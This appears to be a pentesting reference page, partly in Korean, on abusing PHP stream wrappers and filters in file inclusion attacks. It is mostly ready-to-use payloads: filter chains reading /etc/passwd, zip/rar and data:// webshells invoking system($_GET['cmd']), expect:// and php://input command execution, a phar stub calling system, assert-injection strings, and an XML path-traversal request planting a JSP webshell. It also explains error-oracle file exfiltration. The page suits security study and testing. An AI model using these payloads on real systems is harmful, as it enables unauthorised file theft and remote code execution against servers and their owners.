PHP filters๋Š” ์ฝ๊ฑฐ๋‚˜ ์“ฐ๊ธฐ ์ „์— ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด ๊ธฐ๋ณธ์ ์ธ ์ˆ˜์ • ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ํ•„ํ„ฐ๋Š” 5๊ฐ€์ง€ ๋ฒ”์ฃผ๋กœ ๋‚˜๋‰ฉ๋‹ˆ๋‹ค:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: ๋ฐ์ดํ„ฐ์—์„œ ํƒœ๊ทธ ์ œ๊ฑฐ ("<"์™€ ">" ๋ฌธ์ž ์‚ฌ์ด์˜ ๋ชจ๋“  ๋‚ด์šฉ)
  • ์ด ํ•„ํ„ฐ๋Š” ์ตœ์‹  PHP ๋ฒ„์ „์—์„œ๋Š” ์‚ฌ๋ผ์กŒ์Šต๋‹ˆ๋‹ค
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : ๋‹ค๋ฅธ ์ธ์ฝ”๋”ฉ์œผ๋กœ ๋ณ€ํ™˜(convert.iconv.<input_enc>.<output_enc>). ์ง€์›๋˜๋Š” ๋ชจ๋“  ์ธ์ฝ”๋”ฉ์˜ ๋ชฉ๋ก์„ ์–ป์œผ๋ ค๋ฉด ์ฝ˜์†”์—์„œ iconv -l์„ ์‹คํ–‰ํ•˜์„ธ์š”.

Warning

convert.iconv.* ๋ณ€ํ™˜ ํ•„ํ„ฐ๋ฅผ ์•…์šฉํ•˜๋ฉด ์ž„์˜์˜ ํ…์ŠคํŠธ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ž„์˜์˜ ํ…์ŠคํŠธ๋ฅผ ์ž‘์„ฑํ•˜๊ฑฐ๋‚˜ include ๊ฐ™์€ ํ•จ์ˆ˜๊ฐ€ ์ž„์˜์˜ ํ…์ŠคํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋„๋ก ๋งŒ๋“œ๋Š” ๋ฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ LFI2RCE via php filters๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

  • Compression Filters
  • zlib.deflate: ์ฝ˜ํ…์ธ ๋ฅผ ์••์ถ•ํ•จ (๋งŽ์€ ์ •๋ณด๋ฅผ exfiltratingํ•  ๋•Œ ์œ ์šฉ)
  • zlib.inflate: ๋ฐ์ดํ„ฐ๋ฅผ ์••์ถ• ํ•ด์ œํ•จ
  • Encryption Filters
  • mcrypt.* : ๋” ์ด์ƒ ์‚ฌ์šฉ๋˜์ง€ ์•Š์Œ
  • mdecrypt.* : ๋” ์ด์ƒ ์‚ฌ์šฉ๋˜์ง€ ์•Š์Œ
  • Other Filters
  • PHP์—์„œ var_dump(stream_get_filters());๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋ช‡ ๊ฐ€์ง€ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ํ•„ํ„ฐ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • consumed
  • dechunk: HTTP chunked encoding์„ ์—ญ๋ณ€ํ™˜
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ยฃhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

โ€œphp://filterโ€ ๋ถ€๋ถ„์€ ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค

php filters๋ฅผ oracle๋กœ ์‚ฌ์šฉํ•ด ์ž„์˜์˜ ํŒŒ์ผ ์ฝ๊ธฐ

In this post๋Š” ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ์ถœ๋ ฅ์ด ๋ฐ˜ํ™˜๋˜์ง€ ์•Š์•„๋„ ๋กœ์ปฌ ํŒŒ์ผ์„ ์ฝ๋Š” ๊ธฐ์ˆ ์„ ์ œ์•ˆํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ boolean exfiltration of the file (char by char) using php filters๋ฅผ oracle๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” php filters๊ฐ€ ํ…์ŠคํŠธ๋ฅผ ์ถฉ๋ถ„ํžˆ ํฌ๊ฒŒ ๋งŒ๋“ค์–ด php๊ฐ€ ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ฒŒ ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์›๋ฌธ ํฌ์ŠคํŠธ์—์„œ ๊ธฐ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์„ค๋ช…์„ ๋ณผ ์ˆ˜ ์žˆ์ง€๋งŒ, ์—ฌ๊ธฐ์„œ๋Š” ๊ฐ„๋‹จํ•œ ์š”์•ฝ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • ์ด๋Š” ์ดˆ๊ธฐ ๋ฌธ์ž๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ถ”์ธก๋˜์—ˆ์„ ๋•Œ php๊ฐ€ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ๋งŒํผ ๋งค์šฐ ํฐ ํ…์ŠคํŠธ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • ์ด ํ•„ํ„ฐ์™€ ์ด์ „ ํ•„ํ„ฐ(๋ฐ ์ถ”์ธก๋œ ๋ฌธ์ž์— ๋”ฐ๋ผ ์‚ฌ์šฉํ•˜๋Š” ๋‹ค๋ฅธ ํ•„ํ„ฐ)๋ฅผ ์กฐํ•ฉํ•˜๋ฉด, ์ถฉ๋ถ„ํ•œ ๋ณ€ํ™˜์„ ์ ์šฉํ–ˆ์„ ๋•Œ ๊ทธ ๋ฌธ์ž๊ฐ€ hexadecimal ๋ฌธ์ž๊ฐ€ ์•„๋‹ˆ๊ฒŒ ๋˜๋Š” ์‹œ์ ์„ ๊ด€์ฐฐํ•˜์—ฌ ํ…์ŠคํŠธ์˜ ์ฒซ ๋ฌธ์ž๋ฅผ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ hex๋ผ๋ฉด dechunk๊ฐ€ ์‚ญ์ œํ•˜์ง€ ์•Š๊ณ  ์ดˆ๊ธฐ ํญ๋ฐœ์ด php ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isnโ€™t anymore a hexadecimal character, therefore dechunk doesnโ€™t deleted it and the php error is triggered because it multiplies with the initial bomb.
  • ์‹œ์ž‘์— rot13 ๊ฐ™์€ ๋‹ค๋ฅธ ๋ณ€ํ™˜์„ ์‚ฌ์šฉํ•˜๋ฉด n, o, p, q, r ๊ฐ™์€ ๋‹ค๋ฅธ ๋ฌธ์ž๋ฅผ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (๊ทธ๋ฆฌ๊ณ  ๋‹ค๋ฅธ ์ฝ”๋ฑ๋“ค์€ ๋‹ค๋ฅธ ๋ฌธ์ž๋“ค์„ hex ๋ฒ”์œ„๋กœ ์ด๋™์‹œํ‚ค๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).
  • When the initial char is a number itโ€™s needed to base64 encode it and leak the 2 first letters to leak the number.
  • ์ตœ์ข… ๋ฌธ์ œ๋Š” how to leak more than the initial letter์ž…๋‹ˆ๋‹ค. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ๊ฐ™์€ order memory ํ•„ํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฌธ์ž๋“ค์˜ ์ˆœ์„œ๋ฅผ ๋ฐ”๊ฟ” ํ…์ŠคํŠธ์˜ ๋‹ค๋ฅธ ๋ฌธ์ž๋ฅผ ์ฒซ ์œ„์น˜๋กœ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๊ทธ๋ฆฌ๊ณ  ์ถ”๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด์„œ๋Š” convert.iconv.UTF16.UTF16์œผ๋กœ ์ฒ˜์Œ์— 2 bytes์˜ junk data๋ฅผ ์ƒ์„ฑํ•˜๊ณ , UCS-4LE๋ฅผ ์ ์šฉํ•˜์—ฌ ๊ทธ๊ฒƒ์„ ๋‹ค์Œ 2 bytes์™€ pivot์‹œํ‚ค๊ณ , ๋ฐ์ดํ„ฐ๋ฅผ junk data๊นŒ์ง€ ์‚ญ์ œํ•˜๋Š” ๋ฐฉ์‹(์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ดˆ๊ธฐ ํ…์ŠคํŠธ์˜ ์ฒซ 2 bytes๊ฐ€ ์ œ๊ฑฐ๋œ๋‹ค)์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์›ํ•˜๋Š” ๋น„ํŠธ๋ฅผ leakํ•  ๋•Œ๊นŒ์ง€ ์ด ๊ณผ์ •์„ ๋ฐ˜๋ณตํ•ฉ๋‹ˆ๋‹ค.

In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

You can also use php://stdin, php://stdout and php://stderr๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ๊ฐ file descriptors 0, 1 and 2์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ด๊ฒƒ์ด attack์— ์–ด๋–ป๊ฒŒ ์œ ์šฉํ• ์ง€๋Š” ํ™•์‹คํ•˜์ง€ ์•Š์Œ)

zip:// and rar://

PHPShell์ด ๋“ค์–ด์žˆ๋Š” Zip ๋˜๋Š” Rar ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๊ณ  ์ ‘๊ทผํ•˜์„ธ์š”.
rar protocol์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋ช…์‹œ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

์ด ํ”„๋กœํ† ์ฝœ์€ php ์„ค์ • allow_url_open ๋ฐ allow_url_include ์— ์˜ํ•ด ์ œํ•œ๋œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”

expect://

Expect๋Š” ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST parameters์— payload๋ฅผ ์ง€์ •ํ•˜์„ธ์š”:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํŒŒ์ผ ๋กœ๋”ฉ์— include ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ, .phar ํŒŒ์ผ์€ PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์ด์šฉ๋  ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜์˜ PHP ์ฝ”๋“œ ์Šค๋‹ˆํŽซ์€ .phar ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๋Š” ์˜ˆ๋ฅผ ๋ณด์—ฌ์ค€๋‹ค:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar ํŒŒ์ผ์„ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

php --define phar.readonly=0 create_path.php

์‹คํ–‰ํ•˜๋ฉด test.phar๋ผ๋Š” ํŒŒ์ผ์ด ์ƒ์„ฑ๋˜๋ฉฐ, ์ด๋Š” Local File Inclusion (LFI) ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๋ฐ ์ž ์žฌ์ ์œผ๋กœ ์ด์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

LFI๊ฐ€ ๋‚ด๋ถ€์˜ PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), filesize() ๊ฐ™์€ ํ•จ์ˆ˜๋“ค์„ ํ†ตํ•ด ๋‹จ์ˆœํžˆ ํŒŒ์ผ์„ ์ฝ๊ธฐ๋งŒ ํ•˜๋Š” ๊ฒฝ์šฐ, deserialization ์ทจ์•ฝ์ ์˜ ์•…์šฉ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ phar ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•œ ํŒŒ์ผ ์ฝ๊ธฐ์™€ ๊ด€๋ จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ดํ•ด๋ฅผ ์œ„ํ•ด ์•„๋ž˜ ๋ฌธ์„œ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

PHP์—์„œ php filters๋ฅผ ์ง€์›ํ•˜๋Š” ์ž„์˜์˜ ํŒŒ์ผ ์ฝ๊ธฐ๋ฅผ ์•…์šฉํ•˜์—ฌ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์„ค๋ช…์€ found in this post.
์•„์ฃผ ๊ฐ„๋‹จํ•œ ์š”์•ฝ: PHP ํž™์—์„œ์˜ 3 byte overflow๋ฅผ ์ด์šฉํ•ด ํŠน์ • ํฌ๊ธฐ์˜ ์ž์œ  ์ฒญํฌ ์ฒด์ธ์„ alterํ•˜์—ฌ ์ž„์˜ ์ฃผ์†Œ์— ๋ฌด์—‡์ด๋“  ์“ธ ์ˆ˜ ์žˆ๋„๋ก ํ–ˆ๊ณ , ์ด๋ฅผ ์œ„ํ•ด **system**์„ ํ˜ธ์ถœํ•˜๋Š” ํ›…์„ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค.
ํŠน์ • ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๊ธฐ ์œ„ํ•ด ์ถ”๊ฐ€์ ์ธ php filters๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp โ€” ๋ฉ”๋ชจ๋ฆฌ๋‚˜ ์ž„์‹œ ํŒŒ์ผ์— ์ž‘์„ฑ (file inclusion attack์—์„œ ์–ด๋–ป๊ฒŒ ์œ ์šฉํ• ์ง€๋Š” ํ™•์‹คํ•˜์ง€ ์•Š์Œ)
  • file:// โ€” ๋กœ์ปฌ ํŒŒ์ผ์‹œ์Šคํ…œ ์ ‘๊ทผ
  • http:// โ€” HTTP(s) URL ์ ‘๊ทผ
  • ftp:// โ€” FTP(s) URL ์ ‘๊ทผ
  • zlib:// โ€” ์••์ถ• ์ŠคํŠธ๋ฆผ
  • glob:// โ€” ํŒจํ„ด๊ณผ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ๋กœ๋ช… ๊ฒ€์ƒ‰ (์ถœ๋ ฅ ๊ฐ€๋Šฅํ•œ ๋‚ด์šฉ์„ ๋ฐ˜ํ™˜ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์—ฌ๊ธฐ์„œ๋Š” ํฌ๊ฒŒ ์œ ์šฉํ•˜์ง€ ์•Š์Œ)
  • ssh2:// โ€” Secure Shell 2
  • ogg:// โ€” ์˜ค๋””์˜ค ์ŠคํŠธ๋ฆผ (์ž„์˜ ํŒŒ์ผ ์ฝ๊ธฐ์— ์œ ์šฉํ•˜์ง€ ์•Š์Œ)

LFI via PHPโ€™s โ€˜assertโ€™

PHP์—์„œ ๋ฌธ์ž์—ด ๋‚ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” โ€˜assertโ€™ ํ•จ์ˆ˜๋ฅผ ๋‹ค๋ฃฐ ๋•Œ Local File Inclusion (LFI) ์œ„ํ—˜์ด ํŠนํžˆ ํฝ๋‹ˆ๋‹ค. ์ž…๋ ฅ์— โ€œ..โ€ ๊ฐ™์€ ๋””๋ ‰ํ† ๋ฆฌ ํŠธ๋ž˜๋ฒ„์„ค ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€๋ฅผ ๊ฒ€์‚ฌํ•˜์ง€๋งŒ ์ ์ ˆํžˆ ์ •์ œํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ํŠนํžˆ ๋ฌธ์ œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

์ด ๋ฐฉ์‹์€ traversal๋ฅผ ๋ง‰์œผ๋ ค๋Š” ๋ชฉ์ ์ด์ง€๋งŒ, ์˜๋„์น˜ ์•Š๊ฒŒ code injection์„ ์œ„ํ•œ ๋ฒกํ„ฐ๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ํŒŒ์ผ ๋‚ด์šฉ์„ ์ฝ๊ธฐ ์œ„ํ•ด ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

' and die(highlight_file('/etc/passwd')) or '

์œ ์‚ฌํ•˜๊ฒŒ, ์ž„์˜์˜ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค:

' and die(system("id")) or '

Itโ€™s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

์ด ๊ธฐ๋ฒ•์€ ํŒŒ์ผ์˜ ๋‚ด์šฉ์ด ๋ณด์ด์ง€ ์•Š๋Š” ๊ฒฝ์šฐ(์˜ˆ: ๊ฐ„๋‹จํ•œ ํ˜ธ์ถœ file())์—๋„ controlํ•  ์ˆ˜ ์žˆ๋Š” file path๋ฅผ ๊ฐ€์ง„ PHP function์ด access a fileํ•  ๋•Œ ๊ด€๋ จ๋ฉ๋‹ˆ๋‹ค.

In this incredible post itโ€™s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

์š”์•ฝํ•˜๋ฉด, ์ด ๊ธฐ๋ฒ•์€ โ€œUCS-4LEโ€ encoding์„ ์‚ฌ์šฉํ•ด ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋งค์šฐ bigํ•˜๊ฒŒ ๋งŒ๋“ค์–ด ๊ทธ ํŒŒ์ผ์„ ์—ฌ๋Š” PHP function opening์ด error๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ ๋‹ค์Œ, ์ฒซ ๋ฌธ์ž๋ฅผ leakํ•˜๊ธฐ ์œ„ํ•ด ํ•„ํ„ฐ **dechunk**์ด ์‚ฌ์šฉ๋˜๋ฉฐ base64 ๋˜๋Š” rot13 ๊ฐ™์€ ๋‹ค๋ฅธ ํ•„ํ„ฐ๋“ค๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋˜๊ณ , ๋งˆ์ง€๋ง‰์—๋Š” convert.iconv.UCS-4.UCS-4LE์™€ convert.iconv.UTF16.UTF-16BE ํ•„ํ„ฐ๊ฐ€ ์‚ฌ์šฉ๋˜์–ด place other chars at the beggining and leak them.

์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜๋“ค: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

๊ธฐ์ˆ ์  ์„ธ๋ถ€์‚ฌํ•ญ์€ ์•ž์˜ ํฌ์ŠคํŠธ๋ฅผ ํ™•์ธํ•˜์„ธ์š”!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

์„œ๋ฒ„ ์ธก ์ฝ”๋“œ๊ฐ€ ํŒŒ์ผ์„ ์ˆ˜์‹ /์—…๋กœ๋“œํ•˜๋ฉด์„œ ๋Œ€์ƒ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉ์ž ์ œ์–ด ๋ฐ์ดํ„ฐ(์˜ˆ: a filename ๋˜๋Š” URL)๋ฅผ canonicalising ๋ฐ ๊ฒ€์ฆ ์—†์ด ๊ตฌ์„ฑํ•˜๋ฉด, .. segments์™€ absolute paths๊ฐ€ ์˜๋„ํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋ฒ—์–ด๋‚˜ ์ž„์˜์˜ ํŒŒ์ผ ์“ฐ๊ธฐ๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ payload๋ฅผ ์›น์— ๋…ธ์ถœ๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋ฐฐ์น˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋ณดํ†ต webshell์„ ๋–จ์–ด๋œจ๋ ค ์ธ์ฆ ์—†๋Š” RCE๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.

Typical exploitation workflow:

  • ๊ฒฝ๋กœ/ํŒŒ์ผ๋ช…์„ ๋ฐ›์•„ ๋””์Šคํฌ์— ๋‚ด์šฉ์„ ์“ฐ๋Š” ์—”๋“œํฌ์ธํŠธ๋‚˜ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์›Œ์ปค์—์„œ write primitive๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: ๋ฉ”์‹œ์ง€ ๊ธฐ๋ฐ˜ ingestion, XML/JSON command handlers, ZIP extractors ๋“ฑ).
  • ์›น์— ๋…ธ์ถœ๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ํŒŒ์•…ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์˜ˆ:
    • Apache/PHP: /var/www/html/
    • Tomcat/Jetty: <tomcat>/webapps/ROOT/ โ†’ drop shell.jsp
    • IIS: C:\inetpub\wwwroot\ โ†’ drop shell.aspx
  • ์˜๋„๋œ ์ €์žฅ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ webroot๋กœ ๋น ์ ธ๋‚˜์˜ค๋„๋ก traversal ๊ฒฝ๋กœ๋ฅผ ๋งŒ๋“ค๊ณ , webshell ๋‚ด์šฉ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • ๋ฐฐํฌ๋œ payload์— ์ ‘์†ํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ :

  • ์“ฐ๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ์ทจ์•ฝ ์„œ๋น„์Šค๋Š” ๋น„-HTTP ํฌํŠธ์—์„œ ๋Œ€๊ธฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: TCP 4004์˜ JMF XML listener). ๋ฉ”์ธ ์›น ํฌํ„ธ(๋‹ค๋ฅธ ํฌํŠธ)์ด ๋‚˜์ค‘์— ๋‹น์‹ ์˜ payload๋ฅผ ์„œ๋น™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Java ์Šคํƒ์—์„œ๋Š” ์ด๋Ÿฌํ•œ ํŒŒ์ผ ์“ฐ๊ธฐ๊ฐ€ ์ข…์ข… ๋‹จ์ˆœํ•œ File/Paths ์—ฐ๊ฒฐ๋กœ ๊ตฌํ˜„๋ฉ๋‹ˆ๋‹ค. canonicalisation/allow-listing์˜ ๋ถ€์žฌ๊ฐ€ ํ•ต์‹ฌ ๊ฒฐํ•จ์ž…๋‹ˆ๋‹ค.

Generic XML/JMF-style example (product schemas vary โ€“ the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

ํ•˜๋“œ๋‹(์ด ํด๋ž˜์Šค์˜ ์ทจ์•ฝ์ ์„ ๋ฐฉ์–ดํ•˜๋Š” ๋ฐฉ๋ฒ•):

  • ์ •๊ทœํ™”๋œ(canonical) ๊ฒฝ๋กœ๋กœ ๋ณ€ํ™˜ํ•˜๊ณ , ํ—ˆ์šฉ ๋ชฉ๋ก์— ์žˆ๋Š” ๊ธฐ๋ณธ ๋””๋ ‰ํ„ฐ๋ฆฌ(allow-listed base directory)์˜ ํ•˜์œ„์ธ์ง€ ๊ฐ•์ œ ๊ฒ€์‚ฌํ•œ๋‹ค.
